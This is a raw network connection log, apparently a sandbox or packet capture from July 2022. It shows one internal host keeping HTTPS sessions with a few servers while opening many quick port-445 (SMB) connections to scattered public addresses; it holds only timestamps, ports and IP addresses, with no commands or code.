Jul 20, 2022 13:24:52.363184929 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.363193035 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.363241911 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.365957975 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.365984917 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.365995884 CEST	51026	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:52.366003990 CEST	443	51026	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:52.373570919 CEST	51032	445	192.168.2.7	129.186.64.128
Jul 20, 2022 13:24:52.412312984 CEST	443	51029	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.412398100 CEST	443	51029	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.412404060 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.412451982 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.456008911 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.456063032 CEST	443	51029	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.456080914 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.456144094 CEST	51029	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.471076012 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:52.471118927 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:52.471229076 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:52.472872019 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:52.472887993 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:52.483201027 CEST	51034	445	192.168.2.7	173.44.201.147
Jul 20, 2022 13:24:52.557511091 CEST	51036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.557563066 CEST	443	51036	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.557648897 CEST	51036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.576407909 CEST	51037	445	192.168.2.7	40.208.133.139
Jul 20, 2022 13:24:52.610582113 CEST	51038	445	192.168.2.7	41.221.133.52
Jul 20, 2022 13:24:52.624037027 CEST	51039	445	192.168.2.7	154.217.48.64
Jul 20, 2022 13:24:52.624963999 CEST	51040	445	192.168.2.7	204.143.239.131
Jul 20, 2022 13:24:52.625621080 CEST	51041	445	192.168.2.7	90.26.165.96
Jul 20, 2022 13:24:52.626319885 CEST	51042	445	192.168.2.7	55.36.62.153
Jul 20, 2022 13:24:52.627031088 CEST	51043	445	192.168.2.7	19.187.164.4
Jul 20, 2022 13:24:52.627756119 CEST	51044	445	192.168.2.7	18.27.23.81
Jul 20, 2022 13:24:52.628439903 CEST	51045	445	192.168.2.7	174.224.184.139
Jul 20, 2022 13:24:52.629153013 CEST	51046	445	192.168.2.7	81.82.212.160
Jul 20, 2022 13:24:52.654565096 CEST	51047	445	192.168.2.7	42.156.121.118
Jul 20, 2022 13:24:52.655250072 CEST	51048	445	192.168.2.7	150.189.5.28
Jul 20, 2022 13:24:52.656538963 CEST	51036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.656569004 CEST	443	51036	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.685895920 CEST	51049	445	192.168.2.7	208.145.196.64
Jul 20, 2022 13:24:52.731245041 CEST	51050	445	192.168.2.7	82.228.210.28
Jul 20, 2022 13:24:52.732121944 CEST	51051	445	192.168.2.7	69.195.161.67
Jul 20, 2022 13:24:52.733234882 CEST	51052	445	192.168.2.7	170.27.164.59
Jul 20, 2022 13:24:52.734308004 CEST	51053	445	192.168.2.7	192.49.138.129
Jul 20, 2022 13:24:52.735582113 CEST	51054	445	192.168.2.7	174.80.100.195
Jul 20, 2022 13:24:52.736665964 CEST	51055	445	192.168.2.7	97.188.87.116
Jul 20, 2022 13:24:52.737890959 CEST	51056	445	192.168.2.7	31.51.227.96
Jul 20, 2022 13:24:52.739267111 CEST	51057	445	192.168.2.7	133.72.193.156
Jul 20, 2022 13:24:52.764494896 CEST	51058	445	192.168.2.7	10.245.102.242
Jul 20, 2022 13:24:52.765758038 CEST	51059	445	192.168.2.7	142.136.224.230
Jul 20, 2022 13:24:52.792454004 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:52.792589903 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:52.795618057 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:52.795629025 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:52.795973063 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:52.796587944 CEST	443	51036	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.796690941 CEST	51036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.797600985 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:52.803693056 CEST	51036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.803723097 CEST	443	51036	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.831408978 CEST	51036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.831433058 CEST	443	51036	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.840533018 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:52.907784939 CEST	443	51036	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.907852888 CEST	443	51036	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.908008099 CEST	51036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.913525105 CEST	51036	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.913577080 CEST	443	51036	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.918173075 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.918241024 CEST	443	51060	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.918386936 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.940979958 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:52.941030025 CEST	443	51060	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:52.952229023 CEST	51061	445	192.168.2.7	59.47.5.108
Jul 20, 2022 13:24:53.005552053 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005587101 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005608082 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005683899 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:53.005711079 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005732059 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005752087 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005754948 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:53.005769968 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005789995 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005848885 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.005851030 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:53.005908012 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:53.009526968 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:53.009565115 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.009582043 CEST	51033	443	192.168.2.7	52.242.101.226
Jul 20, 2022 13:24:53.009589911 CEST	443	51033	52.242.101.226	192.168.2.7
Jul 20, 2022 13:24:53.017107964 CEST	51062	445	192.168.2.7	50.111.34.165
Jul 20, 2022 13:24:53.081674099 CEST	443	51060	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.081758976 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.092058897 CEST	51063	445	192.168.2.7	185.15.42.15
Jul 20, 2022 13:24:53.094006062 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.094053030 CEST	443	51060	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.096766949 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.096800089 CEST	443	51060	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.174592018 CEST	443	51060	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.174655914 CEST	443	51060	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.174690008 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.174720049 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.201812983 CEST	51065	445	192.168.2.7	193.206.0.144
Jul 20, 2022 13:24:53.201910973 CEST	51066	445	192.168.2.7	15.80.161.115
Jul 20, 2022 13:24:53.202104092 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.202162027 CEST	443	51060	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.202176094 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.203089952 CEST	51060	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.207617044 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.207654953 CEST	443	51067	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.207881927 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.208383083 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.208395004 CEST	443	51067	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.354475021 CEST	443	51067	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.354665995 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.421811104 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.421828985 CEST	443	51067	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.430931091 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.430951118 CEST	443	51067	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.451893091 CEST	51069	445	192.168.2.7	55.37.91.209
Jul 20, 2022 13:24:53.500354052 CEST	51070	445	192.168.2.7	96.8.243.172
Jul 20, 2022 13:24:53.510202885 CEST	443	51067	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.510282993 CEST	443	51067	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.510418892 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.538662910 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.538693905 CEST	443	51067	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.538705111 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.538863897 CEST	51067	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.545434952 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.545481920 CEST	443	51071	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.545564890 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.547287941 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.547317028 CEST	443	51071	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.609256983 CEST	51072	445	192.168.2.7	208.119.41.168
Jul 20, 2022 13:24:53.660789967 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.660830975 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.661278963 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.661830902 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.661842108 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.690890074 CEST	443	51071	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.694076061 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.704943895 CEST	51075	445	192.168.2.7	5.208.233.64
Jul 20, 2022 13:24:53.734941959 CEST	51076	445	192.168.2.7	94.151.166.209
Jul 20, 2022 13:24:53.746741056 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.746757984 CEST	443	51071	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.748821974 CEST	51077	445	192.168.2.7	182.239.203.204
Jul 20, 2022 13:24:53.749558926 CEST	51078	445	192.168.2.7	217.27.112.196
Jul 20, 2022 13:24:53.750118017 CEST	51079	445	192.168.2.7	48.62.156.157
Jul 20, 2022 13:24:53.750600100 CEST	51080	445	192.168.2.7	9.68.203.18
Jul 20, 2022 13:24:53.751101971 CEST	51081	445	192.168.2.7	21.184.168.205
Jul 20, 2022 13:24:53.751594067 CEST	51082	445	192.168.2.7	32.216.188.208
Jul 20, 2022 13:24:53.752080917 CEST	51083	445	192.168.2.7	7.27.193.39
Jul 20, 2022 13:24:53.752652884 CEST	51084	445	192.168.2.7	115.109.10.220
Jul 20, 2022 13:24:53.765506983 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.765528917 CEST	443	51071	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.782994032 CEST	51085	445	192.168.2.7	29.76.31.7
Jul 20, 2022 13:24:53.783310890 CEST	51086	445	192.168.2.7	196.159.35.246
Jul 20, 2022 13:24:53.800515890 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.800698042 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.803910971 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.803926945 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.804392099 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.805587053 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.810900927 CEST	51087	445	192.168.2.7	97.100.124.165
Jul 20, 2022 13:24:53.831669092 CEST	443	51071	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.831762075 CEST	443	51071	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.831840038 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.831892967 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.832324982 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.832349062 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.832365990 CEST	443	51071	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.832427025 CEST	51071	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.837730885 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.837770939 CEST	443	51088	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.837878942 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.841968060 CEST	51089	445	192.168.2.7	8.151.178.216
Jul 20, 2022 13:24:53.848529100 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.853152990 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:53.853177071 CEST	443	51088	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.859431028 CEST	51090	445	192.168.2.7	130.112.201.154
Jul 20, 2022 13:24:53.859532118 CEST	51092	445	192.168.2.7	117.160.233.79
Jul 20, 2022 13:24:53.859540939 CEST	51091	445	192.168.2.7	69.92.233.186
Jul 20, 2022 13:24:53.859657049 CEST	51093	445	192.168.2.7	192.68.67.211
Jul 20, 2022 13:24:53.859659910 CEST	51094	445	192.168.2.7	209.95.217.94
Jul 20, 2022 13:24:53.859744072 CEST	51096	445	192.168.2.7	61.242.45.8
Jul 20, 2022 13:24:53.859766960 CEST	51095	445	192.168.2.7	174.82.241.237
Jul 20, 2022 13:24:53.889885902 CEST	51097	445	192.168.2.7	106.9.51.146
Jul 20, 2022 13:24:53.890455008 CEST	51098	445	192.168.2.7	84.158.182.29
Jul 20, 2022 13:24:53.896245003 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896294117 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896328926 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896426916 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.896461010 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896486998 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.896531105 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896538019 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.896563053 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896615982 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896624088 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.896640062 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.896651030 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896704912 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.896738052 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.896770000 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896898031 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.896946907 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.897001982 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.900096893 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.900146008 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.900171041 CEST	51074	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:53.900188923 CEST	443	51074	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:53.998230934 CEST	443	51088	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:53.998403072 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.001945019 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.001987934 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.002044916 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.002068043 CEST	443	51088	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.002070904 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.002435923 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.002449989 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.004770041 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.004790068 CEST	443	51088	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.076450109 CEST	51100	445	192.168.2.7	27.93.80.202
Jul 20, 2022 13:24:54.096008062 CEST	443	51088	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.096085072 CEST	443	51088	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.096257925 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.096311092 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.096340895 CEST	443	51088	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.096354961 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.097243071 CEST	51088	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.099023104 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.099061966 CEST	443	51101	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.099216938 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.099461079 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.099478006 CEST	443	51101	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.139415979 CEST	51102	445	192.168.2.7	57.18.44.80
Jul 20, 2022 13:24:54.154891968 CEST	51103	445	192.168.2.7	185.15.42.16
Jul 20, 2022 13:24:54.243875027 CEST	443	51101	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.243971109 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.244815111 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.244838953 CEST	443	51101	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.256112099 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.256134987 CEST	443	51101	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.339342117 CEST	51106	445	192.168.2.7	105.166.26.161
Jul 20, 2022 13:24:54.339384079 CEST	51105	445	192.168.2.7	70.20.33.247
Jul 20, 2022 13:24:54.353513002 CEST	443	51101	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.353595972 CEST	443	51101	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.353693962 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.355986118 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.356033087 CEST	443	51101	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.356046915 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.356132030 CEST	51101	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.359478951 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.359565020 CEST	443	51107	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.361313105 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.362076044 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.362108946 CEST	443	51107	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.503144979 CEST	443	51107	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.503712893 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.526478052 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.526505947 CEST	443	51107	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.539395094 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.539491892 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.541944981 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.541965961 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.542490959 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.542506933 CEST	443	51107	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.542588949 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.543879032 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.584521055 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.602659941 CEST	443	51107	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.602732897 CEST	443	51107	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.602941036 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.602972984 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.607659101 CEST	51109	445	192.168.2.7	83.211.154.54
Jul 20, 2022 13:24:54.608690023 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.608737946 CEST	443	51107	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.608794928 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.608867884 CEST	51107	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.611537933 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.611583948 CEST	443	51110	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.611984968 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.612368107 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.612385988 CEST	443	51110	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.623853922 CEST	51111	445	192.168.2.7	161.247.62.119
Jul 20, 2022 13:24:54.732827902 CEST	51112	445	192.168.2.7	193.32.112.233
Jul 20, 2022 13:24:54.767777920 CEST	443	51110	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.767940998 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.768336058 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.768356085 CEST	443	51110	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.770306110 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.770330906 CEST	443	51110	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.827207088 CEST	51114	445	192.168.2.7	82.207.207.209
Jul 20, 2022 13:24:54.837567091 CEST	443	51110	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.837645054 CEST	443	51110	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.837850094 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.842402935 CEST	51115	445	192.168.2.7	38.110.221.236
Jul 20, 2022 13:24:54.843247890 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.843277931 CEST	443	51110	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.843312979 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.843336105 CEST	51110	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.845838070 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.845886946 CEST	443	51116	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.846003056 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.846322060 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.846344948 CEST	443	51116	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.875152111 CEST	51117	445	192.168.2.7	35.185.139.133
Jul 20, 2022 13:24:54.884797096 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.884829044 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.884850979 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.884951115 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.884975910 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.884994030 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.885030985 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.885077000 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.885086060 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.885102034 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.885149956 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.885215044 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.887797117 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.887825012 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.887836933 CEST	51099	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:54.887846947 CEST	443	51099	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:54.891227007 CEST	51118	445	192.168.2.7	85.21.149.52
Jul 20, 2022 13:24:54.891731024 CEST	51120	445	192.168.2.7	218.127.162.160
Jul 20, 2022 13:24:54.891808987 CEST	51119	445	192.168.2.7	209.151.31.72
Jul 20, 2022 13:24:54.891820908 CEST	51121	445	192.168.2.7	214.154.6.205
Jul 20, 2022 13:24:54.891868114 CEST	51122	445	192.168.2.7	35.206.136.192
Jul 20, 2022 13:24:54.891972065 CEST	51124	445	192.168.2.7	149.147.78.18
Jul 20, 2022 13:24:54.891988993 CEST	51123	445	192.168.2.7	84.199.226.19
Jul 20, 2022 13:24:54.906285048 CEST	51125	445	192.168.2.7	19.250.222.71
Jul 20, 2022 13:24:54.907731056 CEST	51126	445	192.168.2.7	45.191.18.18
